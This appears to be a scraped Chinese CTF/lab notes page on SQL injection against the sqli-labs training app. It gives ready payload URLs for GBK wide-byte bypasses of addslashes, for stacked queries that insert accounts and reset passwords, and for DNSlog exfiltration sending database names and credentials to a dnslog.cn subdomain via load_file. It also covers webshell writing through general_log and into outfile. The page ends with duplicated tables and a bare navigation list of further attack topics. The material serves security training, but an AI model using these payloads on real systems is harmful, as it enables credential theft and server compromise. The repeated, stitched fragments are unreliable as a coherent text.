?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆表
1
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
less33
使用addslashes()函数过滤

闭合方式为’
1
?id=-1%df'%20union%20select%201,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
less34
步骤 用户输入 后端处理（假设用 addslashes + GBK数据库） 数据库（GBK）解析结果
1️ admin汉' URL解码 → 字节流（GBK）：  
[a,d,m,i,n, 0xBA,0xBA, 0x27] ❌ 未处理
2️ — addslashes 转义单引号：  
→ admin汉\'  
字节流变为：  
[...0xBA,0xBA, 0x5C,0x27] ❌ 未处理
3️ — — ✅ GBK解析开始：  
• 前5字母正常  
• 0xBA,0xBA → 合成汉字”汉”  
• 0xBA（”汉”第二字节） + 0x5C（反斜杠） → 合成新汉字（如”寮”，GBK编码0xBA5C有效！）  
• 0x27（单引号）裸奔释放！
结果 — — SQL语句被闭合：  
... WHERE uname='admin汉[合成汉字]' OR '1'='1'... → 注入成功！
1
passwd=admin&submit=Submit&uname=admin汉' union select 1,(select%20group_concat(username,0x3a,password)%20from%20users)#
less36
函数为mysqli_real_escape_string，和addslashes函数功能差不多
步骤 机制 为什么关键
1. 字符集绑定 调用 mysql_real_escape_string() C API 时，自动携带连接对象的 charset 属性 转义逻辑与数据库解析逻辑同源
2. 字节流扫描 逐字节分析输入字符串：  
- 若当前字节 ≤ 127 → 单字节字符（ASCII）  
- 若当前字节 > 127 → 按连接字符集查表（如 GBK：取当前+下一字节组成汉字） 避免在汉字中间插入反斜杠
3. 智能转义点 仅当确认是“独立需转义字符”时才插入 \：  
- 单引号 ' (0x27)  
- 双引号 " (0x22)  
- 反斜杠 \ (0x5C)  
- NUL (0x00) 等 转义点精准定位，不破坏多字节结构
4. 字节级输出 返回纯字节序列（非“字符串”），确保与数据库通信时字节流一致 避免 PHP 内部编码二次干扰
1
?id=-1%df%27%20union select 1,2,(select%20group_concat(username,0x3a,password)%20from%20users)--+
less37
36的post
堆叠注入
堆叠注入是一种在 同一个注入点中连续执行多条 SQL 语句的攻击方式
原因：分号（;）
UNION执行的语句类型是有限的，而堆叠注入可以执行任意语句
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服 务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中**mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()**函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数
和union联合注入的区别：堆叠注入可以实现包括但不限于select的SQL语句，而union联合注入只能使用select语句。
1
2
例如
?id=-1';insert into users(id,username,password) values ('1','admin','123')-- +
less38
1
?id=1%27;insert%20into%20users(id,username,password)values(38,%27666%27,%27666%27)--+
再重新访问id=38就可以看到自己设置的账户和密码了
less40
发现注入点，闭合方式为’)，可以用堆叠注入来改密码：
1
?id=1');update users set password='666' where username='Dumb'--+

DNSlog外带注入
原理
1
原理：当我们输入域名时，会向DNS服务器解析获取IP，再通过IP访问，在这过程中DNS服务器会产生对域名请求解析的日志，比如此时存在一个域名为dnslog.cn.，要使用的payload为`whoami`.dnslog.cn，就可以通过DNS解析日志来获取到主机名
场景 传统盲注痛点 DNSLog解决方案
无回显注入 响应无数据返回，需逐位猜解（极慢） 一次性带出完整数据
WAF拦截 HTTP响应内容被深度检测 DNS查询通常绕过HTTP层检测
网络隔离 目标无法回连攻击者HTTP服务器 DNS协议（UDP 53）通常防火墙放行
时间盲注 依赖响应时间，易受网络波动影响 结果明确可见，无时间依赖
UNC（Universal Naming Convention）
定义
Windows系统用于定位网络资源的标准路径格式：
\\<主机名或IP>\<共享名>\<路径>\<文件名>
特性 说明 安全意义
双反斜杠前缀 \\ 标识网络路径起点 触发Windows网络解析机制
主机名解析 系统自动将<主机名>解析为IP 关键！ 触发DNS查询
协议栈 优先NetBIOS → DNS → LLMNR DNS阶段可被攻击者劫持
跨协议支持 SMB（445）、WebDAV等 依赖系统网络服务
利用场景
使用dnslog方法的场景非常苛刻
需要知道以下数据
secure_file_priv=””  ，secure_file_priv必须是空
secure_file_priv为null，load_file则不能加载文件。
secure_file_priv为路径，可以读取路径中的文件；
secure_file_priv为空，可以读取磁盘的目录；
服务器只能在windows下使用，因为需要使用到UNC路径
拥有root权限，因为有root权限后才能使用load_file()这个函数
LOAD_FILE()函数可以加载本地文件系统中的文件，并将其作为字符串返回
**前置
配置MySQL参数
找到MySQL配置文件
在phpstudy安装目录下找到MySQL的配置文件，通常路径为：
  1
phpstudy_pro\Extensions\MySQL<版本号>\my.ini
修改secure_file_priv参数
用记事本打开my.ini
在[mysqld]部分添加或修改以下配置：
  1
secure_file_priv=""
保存文件
重启MySQL服务
在phpstudy控制面板中，找到MySQL服务，点击”重启”
load_file
作用：MySQL内置函数，设计用于读取服务器上的文件内容
正常用途：SELECT LOAD_FILE('/etc/passwd') 读取文件
在此处的巧妙用法：传递一个不存在的UNC路径作为参数
利用Windows处理UNC路径时先解析主机名的特性
即使文件不存在，也会触发DNS查询
权限要求：需要MySQL用户具有FILE权限(通常是root)
hex(user())
分解执行：user()：MySQL函数，返回当前用户名和主机，如root@localhost
hex()：将字符串转换为十六进制，如root→726f6f74
为什么必须用hex()：DNS域名规范：只能包含[a-z0-9-]，不支持@、.等特殊字符
user()返回值包含@符号(如root@localhost)，无法直接作为子域名
十六进制编码后仅含0-9和a-f，完全符合DNS规范
less8
1
?id=1' AND load_file(concat('\\\\', hex(user()), '.8f890j.dnslog.cn/abc'))--+

十六进制解码

爆库名
1
?id=1' and load_file(concat('\\\\',database(),'.8f890j.dnslog.cn/abc'))--+
爆表名
**注：**因为使用group_concat()函数拼接时默认使用’ , ‘进行拼接，dnslog无法解析，所以这里有两种方法可以解决
1
2
3
4

1、转为16进制，

2、使用separator "_"  使用下划线连接
1
?id=1'  and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.8f890j.dnslog.cn/abc'))--+
爆列名
1
?id=1' AND load_file(concat('\\\\', (SELECT group_concat(column_name separator '_') FROM information_schema.columns WHERE table_schema=database() AND table_name='users'), '.8f890j.dnslog.cn/abc'))--+
获取数据
1
?id=1' AND load_file(concat('\\\\', (SELECT concat(username, '_', password) FROM security.users LIMIT 0,1), '.8f890j.dnslog.cn/abc'))--+
SQL写马
日志写马
我们所有的数据库的都有一个存放日志的文件，这个文件可以会进行记录数据库的操作语句，也可能不会记录数据库的操作语句，这却决于两个全局变量：
general_log==>日志保存状态，有两个状态，ON代表开启 OFF代表关闭。
general_log_file==> 日志的保存路径。
SET GLOBAL general_log='ON'; 打开日志记录
set global general_log_file=’D:\phpstudy_pro\WWW\log.php’; 写马，这里需要注意的就是需要使用双斜线，然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中，不管执行成功与否。
select ‘‘; 查询语句，其实就是写马，让日志文件众留下这样一句查询语句。那么可以使用这个木马
mysql into outfile注射一句话木马
secure_file_priv=””就是可以into outfile写入任意磁盘文件
十六进制编码
1
?sort=1;select %20into outfile'X:/phpstudy_pro/WWW/sqli-labs-master/Less-50/output.txt'--+

函数	作用	是否直接把命令输出打印到页面？	返回值是什么？
`system()`	执行系统命令	✅ 会把命令执行过程的输出打印出来	返回命令输出的最后一行（字符串）
`passthru()`	执行命令并“原样”输出（适合二进制流）	✅ 直接输出所有原始内容	一般返回 `null`
`exec()`	执行命令	❌ 默认不输出	返回最后一行文本，可选把每一行放到数组
`shell_exec()`	通过 shell 执行命令	❌ 不直接输出	返回完整输出字符串
反引号 `...`	和 `shell_exec()` 类似	❌ 不直接输出	返回命令输出（字符串）
`popen()`	打开一个进程的管道（读 / 写）	❌ 本身不输出	返回资源句柄，自己读写
`proc_open()`	更高级的进程控制，多路管道	❌ 本身不输出	返回进程资源，还可拿到各个管道句柄

系统类型	Session默认路径
Ubuntu/Debian	`/var/lib/php/sessions/`
CentOS/RHEL	`/var/lib/php/session/`
Alpine Linux	`/tmp/`
Windows	`C:\Windows\Temp\`
所以推测默认路径是/tmp/
再读取

步骤	用户输入	后端处理（假设用 `addslashes` + GBK数据库）	数据库（GBK）解析结果
1️	`admin汉'`	URL解码 → 字节流（GBK）： `[a,d,m,i,n, 0xBA,0xBA, 0x27]`	❌ 未处理
2️	—	`addslashes` 转义单引号： → `admin汉\'` 字节流变为： `[...0xBA,0xBA, 0x5C,0x27]`	❌ 未处理
3️	—	—	✅ GBK解析开始： • 前5字母正常 • `0xBA,0xBA` → 合成汉字”汉” • `0xBA`（”汉”第二字节） + `0x5C`（反斜杠） → 合成新汉字（如”寮”，GBK编码`0xBA5C`有效！） • `0x27`（单引号）裸奔释放！
结果	—	—	SQL语句被闭合： `... WHERE uname='admin汉[合成汉字]' OR '1'='1'...` → 注入成功！

步骤	机制	为什么关键
1. 字符集绑定	调用 `mysql_real_escape_string()` C API 时，自动携带连接对象的 charset 属性	转义逻辑与数据库解析逻辑同源
2. 字节流扫描	逐字节分析输入字符串： - 若当前字节 ≤ 127 → 单字节字符（ASCII） - 若当前字节 > 127 → 按连接字符集查表（如 GBK：取当前+下一字节组成汉字）	避免在汉字中间插入反斜杠
3. 智能转义点	仅当确认是“独立需转义字符”时才插入 `\`： - 单引号 `'` (0x27) - 双引号 `"` (0x22) - 反斜杠 `\` (0x5C) - NUL (0x00) 等	转义点精准定位，不破坏多字节结构
4. 字节级输出	返回纯字节序列（非“字符串”），确保与数据库通信时字节流一致	避免 PHP 内部编码二次干扰

场景	传统盲注痛点	DNSLog解决方案
无回显注入	响应无数据返回，需逐位猜解（极慢）	一次性带出完整数据
WAF拦截	HTTP响应内容被深度检测	DNS查询通常绕过HTTP层检测
网络隔离	目标无法回连攻击者HTTP服务器	DNS协议（UDP 53）通常防火墙放行
时间盲注	依赖响应时间，易受网络波动影响	结果明确可见，无时间依赖

特性	说明	安全意义
双反斜杠前缀	`\\` 标识网络路径起点	触发Windows网络解析机制
主机名解析	系统自动将`<主机名>`解析为IP	关键！触发DNS查询
协议栈	优先NetBIOS → DNS → LLMNR	DNS阶段可被攻击者劫持
跨协议支持	SMB（445）、WebDAV等	依赖系统网络服务

worny's Security Lab

php反序列化

php反序列化

魔术方法

绕过__wakeup()

当成员属性数目大于实际数目

&=

fast destruct？

如何实现 fast destruct？

1. 修改序列化数组的元素个数

2. 去掉序列化字符串结尾的 }

php issue#9618 （wakeup与destruct在不同类）

原理

使用C绕过

原生类反序列化

C开头

绕MD5/SHA1 XSS

遍历文件

DirectoryIterator 基础用法

glob:// 伪协议突破限制

读取文件

SSRF

phar反序列化

phar文件生成

PHP session反序列化

SSRF

SSRF

信息收集

gopher协议

GET

post

SSRF之XXE

SSRF之SQL注入

SSRF之mysql

SSRF之tomcat

redis

未授权webshell写入

redis未授权ssh公钥写入

定时任务反弹shell

FastCGL协议

RCE

RCE

命令执行（执行系统命令）

绕过

过滤字符

过滤函数

过滤了/​

过滤空格

变量拼接绕过正则

Linux 变量操作符${}

Ascll拼接变形

按位取反（~） + 十六进制转义（\x）试一下

无回显

if

tee

[SWPUCTF 2021 新生赛]finalrce (NSSCTF)

dnslog外带数据法

无字母数字RCE

取反

异或

自增

无参RCE

题目特征

相关函数简要介绍：

数组移动

scandir()文件读取函数

session_id()

getallheaders()

get_defined_vars()

长度限制

7

5

4

：linux中的 > 符号和 >> 符号

linux中命令换行

ls -t命令

利用ls -t 和 > 以及换行符 绕过长度限制执行命令

软连接

文件包含

文件包含

2. 去掉序列化字符串结尾的 `}`

`DirectoryIterator` 基础用法

`glob://` 伪协议突破限制

`redis未授权ssh公钥写入`

`定时任务反弹shell`

`FastCGL协议`

过滤了/

利用ls -t 和 > 以及换行符绕过长度限制执行命令

注释符过滤(–,#) → 利用`||'`闭合